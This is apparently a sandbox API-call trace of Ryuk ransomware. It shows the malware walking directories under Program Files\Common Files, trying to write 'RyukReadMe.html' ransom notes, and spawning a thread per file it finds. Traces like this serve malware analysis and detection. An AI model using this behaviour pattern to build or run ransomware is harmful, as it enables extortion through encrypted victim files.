	[0175.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c750
	[0175.335] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.335] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1
	[0175.336] SetLastError (dwErrCode=0x0) 
	[0175.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.336] GetLastError () returned 0x5
	[0175.336] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0175.337] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.337] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0175.337] SetLastError (dwErrCode=0x0) 
	[0175.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.337] GetLastError () returned 0x5
	[0175.337] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0175.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0175.339] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.339] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1
	[0175.340] SetLastError (dwErrCode=0x0) 
	[0175.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.340] GetLastError () returned 0x5
	[0175.340] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0) returned 0
	[0175.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0175.341] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.341] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218b580 | out: lpFindFileData=0x218b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0175.341] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0175.341] SetLastError (dwErrCode=0x0) 
	[0175.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.342] GetLastError () returned 0x5
	[0175.342] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218bbf8, lpOverlapped=0x0) returned 0
	[0175.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.342] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1
	[0175.342] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1
	[0175.342] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0
	[0175.342] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0175.342] SetLastError (dwErrCode=0x0) 
	[0175.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.343] GetLastError () returned 0x5
	[0175.343] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0175.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.343] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1
	[0175.343] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1
	[0175.343] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1
	[0175.343] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0
	[0175.344] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0175.344] SetLastError (dwErrCode=0x0) 
	[0175.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.344] GetLastError () returned 0x5
	[0175.344] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.344] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0
	[0175.345] FindClose (in: hFindFile=0x7c750 | out: hFindFile=0x7c750) returned 1
	[0175.345] SetLastError (dwErrCode=0x0) 
	[0175.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.345] GetLastError () returned 0x5
	[0175.345] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.346] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0175.346] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0175.346] SetLastError (dwErrCode=0x0) 
	[0175.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.346] GetLastError () returned 0x5
	[0175.346] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.346] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0175.347] SetLastError (dwErrCode=0x0) 
	[0175.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.347] GetLastError () returned 0x5
	[0175.347] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0175.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0175.351] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.352] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0175.352] SetLastError (dwErrCode=0x0) 
	[0175.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.352] GetLastError () returned 0x5
	[0175.352] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c750
	[0175.357] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.357] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x68, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0175.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998
	[0175.464] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.465] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x68, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0175.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0175.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c
	[0175.467] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.467] FindNextFileW (in: hFindFile=0x7c750, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0175.468] SetLastError (dwErrCode=0x0) 
	[0175.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ado\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.468] GetLastError () returned 0x5
	[0175.468] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
